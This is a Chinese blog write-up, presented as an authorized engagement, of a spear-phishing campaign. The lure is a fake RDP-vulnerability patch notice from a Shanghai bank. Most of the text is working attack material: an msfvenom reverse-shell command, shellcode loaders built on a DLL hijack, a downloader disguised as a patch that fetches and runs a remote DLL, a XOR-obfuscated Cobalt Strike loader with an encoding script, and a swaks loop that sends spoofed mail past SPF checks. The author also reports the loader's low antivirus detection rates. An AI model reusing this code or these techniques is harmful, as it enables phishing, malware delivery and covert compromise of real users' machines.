魚叉攻擊-嘗試

做者: 傾旋

0x00 前言

本次是受權的魚叉案例,也都是嘗試,經驗不夠豐富ios

0x01 魚叉攻擊

「魚叉攻擊」是黑客攻擊方式之一,最多見的作法是,將木馬程序做爲電子郵件的附件,並起上一個極具誘惑力的名稱,發送給目標電腦,誘使受害者打開附件,從而感染木馬。shell

0x02 準備開始

久久拿不到shell,遂開始經過魚叉攻擊,但願得到一些收穫windows

詢問是否容許支持這類技術手段:安全

2019-05-21-17-31-30

接着找同事提供素材,一封客戶的郵件,裏面包含了郵件簽名、部門名稱、Logobash

0x03 製做模板

2019-05-21-17-36-21

大體內容爲:服務器

標題:上海xxx關於業務網、辦公網終端安全緊急加固公告網絡

背景tcp

北京時間 2019 年 5 月 15 日微軟發佈安全補丁修復了 CVE 編號爲 CVE-2019-0708 的 Windows 遠程桌面服務(RDP)遠程代碼執行漏洞,該漏洞在不需身份認證的狀況下便可遠程觸發,危害與影響面極大。函數

受影響的版本測試

  • Windows 7
  • Windows Server 2008 R2
  • Windows Server 2008
  • Windows Server 2003
  • Windows XP

因爲該漏洞與去年的「Wannacry」勒索病毒具備相同等級的危害,由總行信息科技部研究決定,先推行漏洞加固補丁,確保業務網、辦公網所有修補漏洞。

安裝方式

解壓「上海xxxRDP漏洞補丁.zip」,解壓密碼:xxx123,解壓成功後,雙擊運行「RDP-VulnPatch.exe」便可:

修復成功會提示「修復漏洞成功!」

上海xxx

二零一九年五月二十日

其中解壓密碼也是目標常見的弱口令。

0x04 製做木馬

經過手工製做一個Windows/shell/reverse_tcp的木馬DLL,先得到Msfvenom生成的shellcode。

$ /opt/metasploit-framework/bin/msfvenom -p windows/shell/reverse_tcp LHOST=xxxx LPORT=8899 -f c -e x86/shikata_ga_nai -i 20

2019-05-21-17-39-23

用以前的QQ拼音輸入法DLL劫持漏洞,來一次白利用。

VOID shdjshjdhsjhdjshdjs() {
    
        unsigned char buff[] =
        "\xbe\x65\x43\x60\x4a\xdb\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
        "\xd6\x31\....省略部分.......7\xe7\xc3\x2a\xcd\x23\xb8\x07\x0b\x04\x54\x17"
        "\xc1\x57\x63\x4c\x60\xa7\x7a\xa7\x54\xe7\xc2";

    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) {
        printf("error");
    }
        
    if (!(CopyMemory(p, buff, sizeof(buff)))) {
        printf("error");
    }
    
    CODE code = (CODE)p;
    code();
}

參考文章:https://payloads.online/archi...

0x05 蒐集郵箱

在百度文庫搜索到來一些:

圖就不貼了,打碼麻煩。。。

寫了一個bash腳本用於發送僞造郵件:

for line in `cat mail`
do
    echo "$line"

    sed "s/xx@xx.net/${line}/g" data.eml | swaks --to $line --from xx@smtp2go.com --h-From '=?UTF-8?B?xx?= <xx@xx.xx.cn>' --server mail.smtp2go.com -p 2525 -au USER -ap PASS --data - > /tmp/send.log
done

data.eml是轉換出來的郵件正文

2019-05-21-17-42-16

該技術是能夠繞過SPF及DKIM檢測的。

2019-05-21-17-42-37

具體參考:https://payloads.online/archi...

因爲是反彈cmd作測試,因此不會被360攔截

2019-05-21-17-43-02

郵件效果以下:

2019-05-21-17-44-03

0x06 一點點收穫

2019-05-21-17-44-37

通過確認,不是客戶的機器。

0x07 第二個版本

因爲以前使用的是QQ輸入法簽名加載器,當鼠標移動上去會顯示程序描述信息,這不是我想要的結果,因而開始手擼木馬….

開發環境:

  • Windows 10 x64
  • Visual Studio 2015

測試環境:

  • Windows 7 x64
  • 360衛士

0x08 木馬思路

寫一個下載器充當漏洞補丁程序,下載器再去服務器下載DLL模塊,使用Rundll32進行加載運行。

期間涉及到窗口提示優化、程序資源信息優化、權限申請

效果以下:

2019-05-21-17-46-35

下載器代碼:

// Win32Project5.cpp : 定義控制檯應用程序的入口點。
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <UrlMon.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;


HRESULT DownloadFile(PTCHAR URL, PTCHAR File);

static TCHAR URL[] = TEXT("http://**.**.**.**:8000/fff.jpeg");
static TCHAR SaveFile[MAX_PATH];
static TCHAR FileName[] = TEXT("\\fff.dll");
// 下載文件
HRESULT DownloadFile(PTCHAR URL, PTCHAR File) {
    HRESULT hr = URLDownloadToFile(0, URL, File, 0, NULL);
    return hr;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)

{
    ZeroMemory(SaveFile, MAX_PATH);
    GetEnvironmentVariable(TEXT("TMP"), SaveFile, MAX_PATH);

    lstrcatW(SaveFile, FileName);
    if (DownloadFile(URL, SaveFile) != S_OK)
    {
        // wprintf(TEXT("Error: %d \n"), GetLastError());
        MessageBox(NULL, TEXT("修復漏洞失敗,請檢查網絡,是否可以鏈接到微軟服務器!"), TEXT("上海xxx"), MB_ICONWARNING | MB_OK);
        return 0;
    }

    lstrcatW(SaveFile, TEXT(",rundll32dllfun"));
    TCHAR opt[MAX_PATH];
    ZeroMemory(opt, MAX_PATH);
    lstrcatW(opt, TEXT(" "));
    lstrcatW(opt, SaveFile);
    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };
    si.cb = sizeof(si);
    si.wShowWindow = TRUE;
    CreateProcess(
        TEXT("C:\\Windows\\System32\\rundll32.exe"), 
        opt,
        NULL, 
        NULL, 
        FALSE, 
        CREATE_NEW_CONSOLE,
        NULL,
        NULL, 
        &si, 
        &pi);
    cout << GetLastError() << endl;
    MessageBox(NULL, TEXT("修復漏洞成功!"), TEXT("上海xxx"), MB_OK | MB_ICONINFORMATION);
    
    return 0;
}

fff.jpeg的代碼:

// Win32Project6.cpp : 定義 DLL 應用程序的導出函數。
//

#include "stdafx.h"
#include "Win32Project6.h"

typedef void(_stdcall *CODE)();
// 這是導出變量的一個示例
WIN32PROJECT6_API int nWin32Project6=0;


extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow)
{
    unsigned char buf[] =
        "\xbf\xaa\x57\x39\xb0\xda\xdd\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
        "\xd6\x83\xe8\xfc\x31\x78\x10\x03\x78\x10\x48\xa2\x81\x35\xa2"
        "\x82\x9c\xef\x7f\xc5\x15\x34\x8b\xad\xe6\xfd\xc2\x9d\x38\xbd"
        "\x31\x21\x78\x54\xba\xce\x82\xb4\xcc\xe5\x68\x8e\x22\x28\xd7"
        "\x06\x8c\x96\x0a\x7b\xed\x44\xf0\x94\x65\x0e\xa4\x3b\x2e\xcb"
        "\xe7\x17\x60\xaf\x1d\xa4\x57\x1f\xb1\xf3\x01\x31\x5c\x6a\x97"
        "\xf...省略...";
    PVOID p = NULL;
    p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (p != NULL)
    {
        memcpy(p, buf, sizeof(buf));
        CODE code = (CODE)p;
        code();
    }
    return;
}

其中extern "C" _declspec(dllexport) void __cdecl rundll32dllfun是符合rundll32加載的固定函數定義格式。

當木馬運行後,會在進程列表建立rundll32.exe,它是一個系統文件。

UAC

爲了使木馬獲取更高的權限,我開啓了管理員權限申請:

2019-05-21-17-48-31

點擊是:

2019-05-21-17-49-27

提示修復成功,而後程序關閉。

同時,本地機器上會生成一個dll文件:

2019-05-21-17-49-46

2019-05-21-17-50-20

進程中也會多出一個rundll32,360不會攔截:

2019-05-21-17-50-39

服務端提供下載的服務器會多出日誌:

2019-05-21-17-50-55

2019-05-21-17-51-09

0x09 發送郵件

郵箱地址經過http://www.skymem.info 採集到200多個,同時也寫了一個腳本:

2019-05-21-17-52-52

估計要跑一夜了,明天看收穫吧,若是有的話,繼續寫。

0x10 升級木馬

初版是一個敗筆,應該關注更多視覺感覺,好比圖標、logo,暗示它這個文件是可信的,不該該使用其餘程序用做加載器,來達到免殺的效果。若是第二版的木馬看成初版去發,我以爲成功率80%。

可是我以爲光采用反彈cmd的太爛了,木馬要像模像樣點。

因而,開始對木馬進行改造,下載器文件不變,只須要更新服務器上的fff.jpeg這個DLL便可,由於每次運行,都會下載這個DLL,而後用rundll32調用。

我想使得它上線cobaltstrike,繞過Windows Defender基本上沒啥問題了,既保證以前的郵件木馬可用,又能保證新的代碼更新。

重寫rundll32dllfun便可:

fff.jpeg:

extern "C" _declspec(dllexport) void __cdecl rundll32dllfun(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,
    int nCmdShow)
{
    CHAR cpu_code[] =
        "\xf5\xe1\x80\x09\x09\x09\x69\x80\xec\x38\xdb\x6d\x82\x5b\x39\x82\x5b\x05\x82\x5b\x1d\x82\x7b\x21...省略部分....\x3e\x38\x27\x38\x30\x27\x38\x3d\x3d\x27\x3f\x30\x09\x09\x09\x09\x09";
    DWORD dwCodeLength = sizeof(cpu_code);
    DWORD dwOldProtect = NULL;
    for (DWORD i = 0; i < dwCodeLength; i++) {
        cpu_code[i] ^= 9;
    }

    PVOID pCodeSpace = VirtualAlloc(NULL, dwCodeLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (pCodeSpace != NULL)
    {
        CopyMemory(pCodeSpace, cpu_code, dwCodeLength);
        Sleep(200);
        VirtualProtect(pCodeSpace, dwCodeLength, PAGE_EXECUTE, &dwOldProtect);
        CODE coder = (CODE)pCodeSpace;
        HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)coder, NULL, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    }

    return;
}

這裏採用了異或解碼shellcode、虛擬內存頁屬性調整、建立線程的方式執行shellcode,繞過90%的殺軟..

建立線程的好處就是,能夠調用WaitForSingleObject來使得shellcode執行完畢進程才退出。

好幾回調試的時候,進程執行完畢了shellcode還沒運行,使用WaitForSingleObject就解決了這個問題~

爲此爲還寫了一個異或腳本:

import sys
from argparse import ArgumentParser, FileType

def process_bin(num, src_fp, dst_fp):
    shellcode = ''
    shellcode_size = 0
    try:
        while True:
            code = src_fp.read(1)
            if code == '':
                break
            base10 = ord(code) ^ num
            code_hex = hex(base10)
            code_hex = code_hex.replace('0x','')
            if(len(code_hex) == 1):
                code_hex = '0' + code_hex
            shellcode += '\\x' + code_hex
            shellcode_size += 1
        src_fp.close()
        dst_fp.write(shellcode)
        dst_fp.close()
        return shellcode_size
    except Exception as e:
        sys.stderr.writelines(str(e))

def main():
    parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com')
    parser.add_argument('-v','--version',nargs='?')
    parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
    parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
    parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
    args = parser.parse_args()
    shellcode_size = process_bin(args.num, args.src, args.dst)
    sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))

if __name__ == "__main__":
    main()

生成一個payload.bin:

2019-05-21-17-58-59

選擇raw:

2019-05-21-17-59-16

使用效果:

2019-05-21-17-59-41

把生成的文件shellcode直接能夠放入源代碼進行編譯。

2/70的戰績:

https://www.virustotal.com/#/...

2019-05-21-18-00-52

微步在線:

https://s.threatbook.cn/repor...

0/25的戰績,一個都未殺出:

2019-05-21-18-12-36

更新了fff.jpeg後,我只須要在cobaltstrike上等待新上線的機器便可。。。

只要不停的發。。

0x11 Cobaltstrike Spear Phish

Cobaltstrike已經具有了僞造郵件的功能,不用再記憶swaks命令了。

參考:https://cobaltstrike.com/help...

2019-05-22-13-04-51

爲了使得smtp2go繞過spf檢查,因此在Bunce to填寫xx@smtp2go.com

2019-05-22-13-09-16

2019-05-22-13-06-37

這兩天個人樣本被沙箱瘋狂分析:

2019-05-22-13-07-15

不過這也正常…

0x12 總結

其實釣魚:

  • 多蒐集信息
  • 多在附件里加一些目標相關的信息,下降心理防護
  • 多換位思考一下就都明白了
  • 多一些心理暗示的東西(木馬圖標、程序描述、UAC?)
  • 可廣式撒網
  • 木馬必定要可靠
  • 白利用彷佛只適合維持權限

網上那麼多騙子,和防騙教育,爲何老是有人上鉤,100我的沒有,那1萬個總會有。

附加了UAC屬性的應用程序上面會有一個盾牌,有些用戶誤覺得它是安全的。

2019-05-21-18-08-07

相關文章
相關標籤/搜索